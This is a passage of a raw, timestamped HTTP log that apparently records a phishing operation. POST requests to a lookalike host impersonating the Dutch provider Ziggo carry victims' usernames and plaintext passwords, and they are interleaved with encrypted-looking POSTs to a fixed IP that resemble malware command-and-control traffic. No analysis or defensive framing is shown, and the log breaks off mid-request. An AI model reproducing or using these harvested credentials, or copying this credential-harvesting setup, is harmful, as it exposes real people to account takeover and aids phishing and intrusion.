  1382. [03:08] <HTTP> BQjky3EUVpG3imbL9c9BudcWmv/kQIk7gb9NruE1Ko27t6wlJkUn/J0lppq7Sim0PRoBmGuF8D+26ML2vMSkPU95z7RD7NRDEAl/4KTaS10ac3tiirEsePbEo8isafibX9lqLdK1BNLQRl1LYydhLeQm0OJBF50FGjL/QrtkvCsmy/tiP8gCp3RD262Kaao4/AAk5icgrgK2iLbfOYZAdYzsQB9lIyDUs6aOhd5B5s38XI7/D6Ddgt/2RWodSs8s6i81deRKUp3iUZ4my0kDwIwVWafnUBMFAdoivnTg5RKksEIJ9sO8MSv6fEFEiMGFbleuClDUDTRBqUqpheuwRsctRY0nnN6PBYb3Q8qj+XcGbJnfvqcMEVovGs6NEuWB7Twe0K7fZAY/I0
  1383. [03:08] <HTTP> lwzoDlcyhuHt5iXvJXElbAOlErh7/p
  1384. [03:09] <HTTP> Socket initiated: 93.41.104.77
  1385. [03:09] <HTTP> POST / HTTP/1.1
  1386. [03:09] <HTTP> Content-Type: application/x-www-form-urlencoded
  1387. [03:09] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1388. [03:09] <HTTP> Host: 172.86.120.218
  1389. [03:09] <HTTP> Content-Length: 408
  1390. [03:09] <HTTP> Cache-Control: no-cache
  1391. [03:10] <HTTP> CFznmXIRUbXbkk0CTjGIoSa6oOf4t38u+gR4w9nwiFx6L7qxB6cy6FFJq624Jj8YQLTCcQpqKkJZnHYrZE9vfwYuMHLChN6C3nihBnHFhflQfjAhSkV3jyaq1fbCCeyQVZ6t9nwxFzG/E/xFMqviU9jVIqIrLZMe7/MUmmkm6yw+fWAVU7olBQ/+qHEy3A4LogMALsNWnaQST11ljVq8tZeIZVwHCWDKTwv/zGMkDcfLHUqlB1ZFVoWIOSDaizhuX4NGJlCQ5RO/NTVpaGAFEIuDXQjPVboiNmjMpJxt5tfGyQPIsJiHvA08j/FKVHdISOmpiirIlrwSXWVFXFV8IFmqQSXqbD4IlXW+qTLQ9XtDMPn2Wp+zYtVkU4/o87Ec2kvlawPcldQK6Kp/Wwr4Ajc=
  1392. [03:10] <HTTP> Socket initiated: 83.85.184.211
  1393. [03:10] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1394. [03:10] <HTTP> Host: ziggo.nl.hacked.jp
  1395. [03:10] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1396. [03:10] <HTTP> Content-Type: application/x-www-form-urlencoded
  1397. [03:10] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  1398. [03:10] <HTTP> Accept-Language: nl-nl
  1399. [03:10] <HTTP> Accept-Encoding: gzip, deflate
  1400. [03:10] <HTTP> Origin: http://219.93.200.189
  1401. [03:10] <HTTP> Content-Length: 120
  1402. [03:10] <HTTP> Connection: keep-alive
  1403. [03:10] <HTTP> DNT: 1
  1404. [03:10] <HTTP> User-Agent: Mozilla/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13G36 Safari/601.1
  1405. [03:10] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=jblankenstein&userId=jblankenstein&password=jolanda.1970&button=
  1406. [03:11] <HTTP> Socket initiated: 82.75.106.192
  1407. [03:11] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1408. [03:11] <HTTP> Host: ziggo.nl.hacked.jp
  1409. [03:11] <HTTP> Connection: keep-alive
  1410. [03:11] <HTTP> Content-Length: 104
  1411. [03:11] <HTTP> Cache-Control: max-age=0
  1412. [03:11] <HTTP> Socket initiated: 93.41.104.77
  1413. [03:11] <HTTP> Origin: http://219.93.200.189
  1414. [03:11] <HTTP> Upgrade-Insecure-Requests: 1
  1415. [03:11] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 6.0; P027 Build/MRA58L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Safari/537.36
  1416. [03:11] <HTTP> Content-Type: application/x-www-form-urlencoded
  1417. [03:11] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  1418. [03:11] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1419. [03:11] <HTTP> Accept-Encoding: gzip, deflate
  1420. [03:11] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  1421. [03:11] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Oud.j&userId=Oud.j&password=Trouw63datum&button=
  1422. [03:12] <HTTP> POST / HTTP/1.1
  1423. [03:12] <HTTP> Content-Type: application/x-www-form-urlencoded
  1424. [03:12] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1425. [03:12] <HTTP> Host: 172.86.120.218
  1426. [03:12] <HTTP> Content-Length: 400
  1427. [03:12] <HTTP> Cache-Control: no-cache
  1428. [03:12] <HTTP> AF6wzScUAGT9DKTbRP7KoLd3eGKzdnzCWz6LrMJmAmeikiQPuhYiD1KZY6VOXcG2fL7iVB6HBarN9Yj/qWqnaHAyPzaNoHSj4l4ix81fHJYmKQuBl7qx9eLXWRCxquxCLpJkj/UYoLiENC2cQSsbRkF3IvkH1yi2Sb09XO81uBRy4IlqQIUhKvPB2vw7zs83d+K7nmljCA2zrlKeUS4U7kN9uV4e8W9ffmYTUm7uk1i41mBJ5byErGggjVgjpyfShz2jscoLeN1eqXRMnSIUDq3mYxK6se4xeoa8/5gxYsADNXL5+1BiMLa0fTu6mH8I0puGtdRr7bHl4rUCTRxmoeVUsEnHJoXCyZDBBYXd3IEagCDlrFA8Fp3sgj42SIQo02eSQaqrYkrNkw==
  1429. [03:13] <HTTP> Socket initiated: 93.41.104.77
  1430. [03:13] <HTTP> POST / HTTP/1.1
  1431. [03:13] <HTTP> Content-Type: application/x-www-form-urlencoded
  1432. [03:13] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1433. [03:14] <HTTP> Host: 172.86.120.218
  1434. [03:14] <HTTP> Content-Length: 388
  1435. [03:14] <HTTP> Cache-Control: no-cache
  1436. [03:14] <HTTP> AAqyniAUVi2u5Zw3Hs1aTl7MEGT6tefLavjWDK3exDhNl0+vBOuJhmEvvg+RRuWbIseU/IBxNx0pXuaYjj2XWS12ZuWIdbcH1RLdWfo8ZmpKZ136CzTSZQ8F+XZb3La2KcnpP82R8mp4KTYJ5kT49R/+EtqNVX4p0WpQrSFKncsUrzbPUlW7kqbxgrOp4R7T4jM1WmdRIsnIKIMMCLzg2Ou+ctjV4vHqNJ/MiFlM+ClKywiHF7lgmvqDG9FoaJMmYfgna29qEpK2N2OzPSmi0/g5e3sUqao3xiIm8MTLTF4beovJwUwgfZF6QJ83IlxYN7rSsyVOIyk9f9VAvI+DhZp/F5HnZdgXCf2vCEXL8CzuaTVlFvYfeCOQfLnjmLbsnR0i
  1437. [03:15] <HTTP> Socket initiated: 93.41.104.77
  1438. [03:15] <HTTP> POST / HTTP/1.1
  1439. [03:15] <HTTP> Content-Type: application/x-www-form-urlencoded
  1440. [03:16] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1441. [03:16] <HTTP> Host: 172.86.120.218
  1442. [03:16] <HTTP> Content-Length: 388
  1443. [03:16] <HTTP> Cache-Control: no-cache
  1444. [03:16] <HTTP> AFzmzSUTBRBoersjWLzCF1o57VP6KFF1+EGRyhKVoQj5tzqig+aAcV9zTVGMUDxGT9nku0W602PayrtzMmQ1j/yMquQ3sei/A40NuZsYWJms4eFjI0fcOLCQa5H5We+O/Jvs3XfXkufryFXZFFanyWtnbbZDkq3tzb4bqcWFZtixXyqqwaemmdUH2iVSLYP8K2abPQbZpAHq7sf8WeshLKXQzH2SpyXwSwjdmfF9rNTpVjseIvGFzIYrONuqqcmbfnpnsBn5nhWno2rQrS1vyK4T9W9FcCoLnEItWjJ2/iHFZ9E5L3W5RfiVTLa/fVxb3J+Uz28RNJEAT/dOeXBYhR0H9oUep1o9KocjwbnZgnbroD6pP4kpxw2D59keZ0pb4HQP
  1445. [03:17] <HTTP> Socket initiated: 93.41.104.77
  1446. [03:17] <HTTP> POST / HTTP/1.1
  1447. [03:18] <HTTP> Content-Type: application/x-www-form-urlencoded
  1448. [03:18] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1449. [03:18] <HTTP> Host: 172.86.120.218
  1450. [03:18] <HTTP> Content-Length: 404
  1451. [03:18] <HTTP> Cache-Control: no-cache
  1452. [03:18] <HTTP> Socket initiated: 94.210.220.248
  1453. [03:18] <HTTP> CV6zzCARWa4adBnmp+6UYV7rxAztcHhHsW3HNmvMiS34q2t7j07/mPLJGsj15S1eGIbByBOOnrZBOg9muQFXtqFTId+PiYwr49pp9DxDhdk7OaGKcOa57vfIAE5imwlI4Ratq6kDtnV1fDCdp6aZ8Ug/UKXsKx64fNt8CvSQOQ3U6Jj20kDBO2essIZ359Q4FNIko2W9PUtroQJvt8TI/vcCenJI6iJwCFT2qTCSIXMAtircB/EdA+frGdHYYH3TJxpadrGY8B3OsqUtEn3ZlowSNyM4ZnQxihZ8dlk8dbFdVFmdDCqnts4RDfvn1d3OiNo4qA/cd88Ljg4vWCU14EoYJnKscffJrvThUkx7P9OAJ4yrQkadeegcumrCi3HYlonpMBWx9W5UgMJuJg==
  1454. [03:18] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1455. [03:18] <HTTP> Host: ziggo.nl.hacked.jp
  1456. [03:18] <HTTP> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
  1457. [03:18] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  1458. [03:18] <HTTP> Accept-Language: nl,en-us;q=0.7,en;q=0.3
  1459. [03:18] <HTTP> Accept-Encoding: gzip, deflate
  1460. [03:18] <HTTP> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  1461. [03:18] <HTTP> Connection: keep-alive
  1462. [03:18] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1463. [03:18] <HTTP> Content-Type: application/x-www-form-urlencoded
  1464. [03:18] <HTTP> Content-Length: 122
  1465. [03:18] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Dickvankesteren2&userId=Dickvankesteren2&password=welkom01&button=
  1466. [03:18] <HTTP> Socket initiated: 46.226.218.20
  1467. [03:18] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1468. [03:18] <HTTP> Host: ziggo.nl.hacked.jp
  1469. [03:18] <HTTP> Connection: keep-alive
  1470. [03:18] <HTTP> Content-Length: 108
  1471. [03:18] <HTTP> Cache-Control: max-age=0
  1472. [03:18] <HTTP> Origin: http://219.93.200.189
  1473. [03:18] <HTTP> Upgrade-Insecure-Requests: 1
  1474. [03:18] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  1475. [03:18] <HTTP> Content-Type: application/x-www-form-urlencoded
  1476. [03:18] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  1477. [03:18] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1478. [03:18] <HTTP> Accept-Encoding: gzip, deflate
  1479. [03:19] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  1480. [03:19] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=henk1958&userId=henk1958&password=karpers100&button=
  1481. [03:19] <HTTP> Socket initiated: 84.30.148.92
  1482. [03:19] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1483. [03:19] <HTTP> Host: ziggo.nl.hacked.jp
  1484. [03:19] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1485. [03:19] <HTTP> Content-Type: application/x-www-form-urlencoded
  1486. [03:19] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  1487. [03:19] <HTTP> Accept-Language: nl-nl
  1488. [03:19] <HTTP> Accept-Encoding: gzip, deflate
  1489. [03:19] <HTTP> Origin: http://219.93.200.189
  1490. [03:19] <HTTP> Content-Length: 108
  1491. [03:19] <HTTP> Connection: keep-alive
  1492. [03:19] <HTTP> DNT: 1
  1493. [03:19] <HTTP> User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
  1494. [03:19] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Jaehabets&userId=Jaehabets&password=dre15652&button=
  1495. [03:19] <HTTP> Socket initiated: 93.41.104.77
  1496. [03:20] <HTTP> POST / HTTP/1.1
  1497. [03:20] <HTTP> Content-Type: application/x-www-form-urlencoded
  1498. [03:20] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1499. [03:20] <HTTP> Host: 172.86.120.218
  1500. [03:20] <HTTP> Content-Length: 392
  1501. [03:20] <HTTP> Cache-Control: no-cache
  1502. [03:20] <HTTP> AVK2zHBAB9ypleNAddwk2t9+AH7ltlnO/FA/UuqcAQ1/DO52rYxiuzCMWbKF9rtSbXsGc2W/tsPpsgIx10cOuQI+6uJJ3vaC5DLZvXDW/QIl5I9h0nQAy/vb97eUwIye1wwpNwCXvG+sjINTKTPQZzhLZhXmjtsqsdKeo5RUPfrCF5f4yXec0oJeox3YMcMJYRK9wINxoeDgiARMNNlma/bBdfUKSfhHCJt3RR0tfadQdOf2v2cKkQGU+3tSt1Vtla6LzRuK4Lr25Jf3cJ3jyYyqAcdAT5jQAwmm3LtVsWknZqfzVWSzAsYa768ifxTspZV34t8jjME8cMflqegGGsngpNsr3NnEemP7Q4HGCC6DDRrbdzlXBxoo4up9HcXpu4ZNrw==
  1503. [03:21] <HTTP> Socket initiated: 93.41.104.77
  1504. [03:22] <HTTP> POST / HTTP/1.1
  1505. [03:22] <HTTP> Content-Type: application/x-www-form-urlencoded
  1506. [03:22] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1507. [03:22] <HTTP> Host: 172.86.120.218
  1508. [03:22] <HTTP> Content-Length: 360
  1509. [03:22] <HTTP> Cache-Control: no-cache
  1510. [03:22] <HTTP> VQ+xyiBHUwxQdrgA35aoW0qV4TtlcIBEQyO9SmqnpcFMXX76gaytz99Ut6pGt+nE6IZYLR/ZdXyj2z6yYY4BYtkUwsLoUe+hAv7cHzE9sVBaOtxeVUP3SCcyDOA/u6ongWZdpRknpEzybTPW7hPHIMxNz8KvgCrJlLbe3oEZYquEds28zMW89Ehw8+3iGlpcwrvzkB0lJh+VAzEZwBcPTTamcW4tkrxxXAFmsdc+KOGo35HIErNMuaEPBjyesmAwoWhOoFOsOdj5sfbP6D7NF9uMT/nNHDFghdPvWjyJFD8w73uWtLjzgFKw2KPm+iBDDaVjgubMxD7fhN/jGh46Ymn0EWSeOPXQQEK6EH3W
  1511. [03:22] <HTTP> Socket initiated: 84.28.171.243
  1512. [03:22] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1513. [03:22] <HTTP> Host: ziggo.nl.hacked.jp
  1514. [03:23] <HTTP> Connection: keep-alive
  1515. [03:23] <HTTP> Content-Length: 112
  1516. [03:23] <HTTP> Cache-Control: max-age=0
  1517. [03:23] <HTTP> Origin: http://219.93.200.189
  1518. [03:23] <HTTP> Upgrade-Insecure-Requests: 1
  1519. [03:23] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  1520. [03:23] <HTTP> Content-Type: application/x-www-form-urlencoded
  1521. [03:23] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  1522. [03:23] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1523. [03:23] <HTTP> Accept-Encoding: gzip, deflate
  1524. [03:23] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4,de;q=0.2,ru;q=0.2
  1525. [03:23] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=darkrider69&userId=darkrider69&password=lady1968&button=
  1526. [03:23] <HTTP> Socket initiated: 93.41.104.77
  1527. [03:24] <HTTP> POST / HTTP/1.1
  1528. [03:24] <HTTP> Content-Type: application/x-www-form-urlencoded
  1529. [03:24] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1530. [03:24] <HTTP> Host: 172.86.120.218
  1531. [03:24] <HTTP> Content-Length: 396
  1532. [03:24] <HTTP> Cache-Control: no-cache
  1533. [03:24] <HTTP> UVvjyXEXAlJQKjgNsVD1/LilL6JIErYEv5lyj9wzoSMpaq5lc8Ear/gyQtUMID9bcuhF8ZBzpRixx9sdfbqol25tebdR0/8lFqtpS9SzmitBuJIF1WXHSQ9KP1SMNcb3SJfi+pT7EpRaqunmLf5nDwdf/Rhl8t2GOddqyvuM9Xr6ueeX6xfruB9MBRlRLubrhs2nFQQLZN5SBaz0It/W567zVITnO38XPeXcs8x2Nzykg38FVMn4rDPzRnOW1+teribYsh6GJZWvP+cYqf26r7FO6QAVWtPZDB6k7kr+EEA308dZFFNpOaP2SfkIWi/KYGGiIiCrPmv+TTTkfZix9FET5/a79OBYbeS4COR7Ap57OHXFMlit7+lbVezdXrpCeZSwKAHwLQBu
  1534. [03:24] <HTTP> Socket initiated: 84.106.75.24
  1535. [03:25] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1536. [03:25] <HTTP> Host: ziggo.nl.hacked.jp
  1537. [03:25] <HTTP> Connection: keep-alive
  1538. [03:25] <HTTP> Content-Length: 128
  1539. [03:25] <HTTP> Cache-Control: max-age=0
  1540. [03:25] <HTTP> Origin: http://219.93.200.189
  1541. [03:25] <HTTP> Upgrade-Insecure-Requests: 1
  1542. [03:25] <HTTP> Socket initiated: 84.24.72.37
  1543. [03:25] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  1544. [03:25] <HTTP> Content-Type: application/x-www-form-urlencoded
  1545. [03:25] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  1546. [03:25] <HTTP> DNT: 1
  1547. [03:25] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1548. [03:25] <HTTP> Accept-Encoding: gzip, deflate
  1549. [03:25] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  1550. [03:25] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=mxireeuw%40ziggo.nl&userId=mxireeuw%40ziggo.nl&password=TOBATI10&button=
  1551. [03:25] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1552. [03:25] <HTTP> Accept: text/html, application/xhtml+xml, image/jxr, */*
  1553. [03:25] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1554. [03:25] <HTTP> Accept-Language: nl-NL
  1555. [03:25] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
  1556. [03:25] <HTTP> Content-Type: application/x-www-form-urlencoded
  1557. [03:25] <HTTP> Accept-Encoding: gzip, deflate
  1558. [03:25] <HTTP> Host: ziggo.nl.hacked.jp
  1559. [03:25] <HTTP> Content-Length: 102
  1560. [03:25] <HTTP> Connection: Keep-Alive
  1561. [03:25] <HTTP> Cache-Control: no-cache
  1562. [03:25] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=fastad&userId=fastad&password=Welkom00&button=
  1563. [03:25] <HTTP> Socket initiated: 93.41.104.77
  1564. [03:26] <HTTP> POST / HTTP/1.1
  1565. [03:26] <HTTP> Content-Type: application/x-www-form-urlencoded
  1566. [03:26] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1567. [03:26] <HTTP> Host: 172.86.120.218
  1568. [03:26] <HTTP> Content-Length: 360
  1569. [03:26] <HTTP> Cache-Control: no-cache
  1570. [03:26] <HTTP> AQizynMWA5WQUQ8uy8vxgcc0xwYl4YDYqdfkeaqEJ/YKeQJcV7I7I9PJD1UOrgQr0upZULWacYRmpedtHw/pqyCAjyTk70QKh60pucWbF4V5FmEY9rQ7BGdq8vw8J3LrMmtaVRcuavklsOudjXX1AvH4D/W8onmT3Xpqcfhz5LNRi9s0E8nxiwj687yg6EnZtboEcVXeU2CHMznL3DACGr1AX+7x/1+x67qfa3PC+GdMaWecfbxKKA7piiMO3oF0fTD/QUsAngci5W3M7MjvPaUfR6hbn0T4OdfZoh4I0GWemK7Ke9nCaOPkX1m0gZYsD++8CdJ+V87nmisgy5lia5YGkSNsBMvkEM1OKPIb
  1571. [03:27] <HTTP> Socket initiated: 84.28.171.243
  1572. [03:27] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1573. [03:27] <HTTP> Host: ziggo.nl.hacked.jp
  1574. [03:27] <HTTP> Connection: keep-alive
  1575. [03:27] <HTTP> Socket initiated: 94.211.9.237
  1576. [03:27] <HTTP> Content-Length: 112
  1577. [03:27] <HTTP> Cache-Control: max-age=0
  1578. [03:27] <HTTP> Origin: http://219.93.200.189
  1579. [03:27] <HTTP> Upgrade-Insecure-Requests: 1
  1580. [03:27] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  1581. [03:27] <HTTP> Content-Type: application/x-www-form-urlencoded
  1582. [03:27] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  1583. [03:27] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1584. [03:27] <HTTP> Accept-Encoding: gzip, deflate
  1585. [03:27] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4,de;q=0.2,ru;q=0.2
  1586. [03:27] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=darkrider69&userId=darkrider69&password=lady1968&button=
  1587. [03:27] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1588. [03:27] <HTTP> Host: ziggo.nl.hacked.jp
  1589. [03:27] <HTTP> Connection: keep-alive
  1590. [03:27] <HTTP> Content-Length: 116
  1591. [03:27] <HTTP> Cache-Control: max-age=0
  1592. [03:27] <HTTP> Origin: http://219.93.200.189
  1593. [03:27] <HTTP> Upgrade-Insecure-Requests: 1
  1594. [03:27] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 5.0; E2303 Build/26.1.A.3.111) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.132 Mobile Safari/537.36
  1595. [03:27] <HTTP> Content-Type: application/x-www-form-urlencoded
  1596. [03:27] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  1597. [03:27] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1598. [03:27] <HTTP> Accept-Encoding: gzip, deflate
  1599. [03:27] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  1600. [03:27] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Olav-desteny&userId=Olav-desteny&password=joh50mar53&button=
  1601. [03:27] <HTTP> Socket initiated: 93.41.104.77
  1602. [03:28] <HTTP> POST / HTTP/1.1
  1603. [03:28] <HTTP> Content-Type: application/x-www-form-urlencoded
  1604. [03:28] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1605. [03:28] <HTTP> Host: 172.86.120.218
  1606. [03:28] <HTTP> Content-Length: 396
  1607. [03:28] <HTTP> Cache-Control: no-cache
  1608. [03:28] <HTTP> BF63mCFFUbwa24/mIdZGOOHLzKV9saGB4tLUJbNd9ov65paPb8X4No7M2nXMRluUUIt8lya/jtMumY4BltcSK2laqijPnGlzpwSkMhEs3Uu3xrG92Cmmtgg4KMv3l6KKTIwlApsHNMvEbNR1yJv5Ec23vtlt2KyljbBUXr6KF2GcDreO0hULGZNX4302AZpjMkwqaJhij9/cj3bf7h8cOwQv9ZHt2/69FEE/8XddMV6OihJTh697+aFqcD/W/GpSLw1MPVh/Adf+XBTkOO3BuU9WqDIjTnKkX11K0f8zR5vzzcd18hdwzJqiWhSDQUOqkNXH3X+6Ipqxwgy74iZL/jpFRX/ouj3yGiVptQv1xRFkauT8xfiS1SpDYZLqkTWEUa+XzAOlL3bJ
  1609. [03:28] <HTTP> Socket initiated: 84.28.171.243
  1610. [03:28] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1611. [03:28] <HTTP> Host: ziggo.nl.hacked.jp
  1612. [03:28] <HTTP> Connection: keep-alive
  1613. [03:28] <HTTP> Content-Length: 112
  1614. [03:28] <HTTP> Cache-Control: max-age=0
  1615. [03:28] <HTTP> Origin: http://219.93.200.189
  1616. [03:28] <HTTP> Upgrade-Insecure-Requests: 1
  1617. [03:28] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  1618. [03:28] <HTTP> Content-Type: application/x-www-form-urlencoded
  1619. [03:28] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  1620. [03:28] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1621. [03:28] <HTTP> Accept-Encoding: gzip, deflate
  1622. [03:28] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4,de;q=0.2,ru;q=0.2
  1623. [03:28] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=darkrider69&userId=darkrider69&password=lady1968&button=
  1624. [03:30] <HTTP> Socket initiated: 93.41.104.77
  1625. [03:30] <HTTP> Socket initiated: 86.82.2.94
  1626. [03:30] <HTTP> POST / HTTP/1.1
  1627. [03:30] <HTTP> Content-Type: application/x-www-form-urlencoded
  1628. [03:30] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1629. [03:30] <HTTP> Host: 172.86.120.218
  1630. [03:30] <HTTP> Content-Length: 400
  1631. [03:30] <HTTP> Cache-Control: no-cache
  1632. [03:30] <HTTP> Ug2zzSAXWDDyU2SGXkSMEc0wzv0b/CBF/9/o/0h34uzdyGf+ZK+Iw9PVIVCejSbvs2igbTWJR9Uoe2/Fd1AruKm+EkNAD8kgYqK6IPR20SG8O6wG8G3Jr1b6AJY5Go4dKMaTcVsK/qjoAs0gPr7YsQCfw1tr5lwwNjFtyr9Kvk+LLHpXCC9R1lfOEJRwGTpmKS9XStf60kIAl6lMWux5mqH/1Fxcp4Td8+bRTw9wwF5hNxxMz8f51ZwsVWI9VPgRp6jrHOL+BoZbdtEALZkySzJBvnAuEK+Zywsno7smFWEFRPG3rsSv5k1GpVvSr44Z/6PZhL+y6oYfq2MTSU2BJ3I9H3ih2FOLY0DBRrs07BcH6jnuXldYozpG/xaIQdZCd/DDXC96J7pX3mO/POST
  1633. [03:30] <HTTP> /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1634. [03:30] <HTTP> Host: ziggo.nl.hacked.jp
  1635. [03:30] <HTTP> Connection: keep-alive
  1636. [03:30] <HTTP> Content-Length: 105
  1637. [03:30] <HTTP> Cache-Control: max-age=0
  1638. [03:30] <HTTP> Origin: http://219.93.200.189
  1639. [03:30] <HTTP> Upgrade-Insecure-Requests: 1
  1640. [03:30] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G920F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  1641. [03:30] <HTTP> Content-Type: application/x-www-form-urlencoded
  1642. [03:30] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  1643. [03:30] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1644. [03:30] <HTTP> Accept-Encoding: gzip, deflate
  1645. [03:30] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  1646. [03:30] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=ajm.2007&userId=ajm.2007&password=maj0907&button=
  1647. [03:32] <HTTP> Socket initiated: 93.41.104.77
  1648. [03:32] <HTTP> POST / HTTP/1.1
  1649. [03:32] <HTTP> Content-Type: application/x-www-form-urlencoded
  1650. [03:32] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1651. [03:32] <HTTP> Host: 172.86.120.218
  1652. [03:32] <HTTP> Content-Length: 412
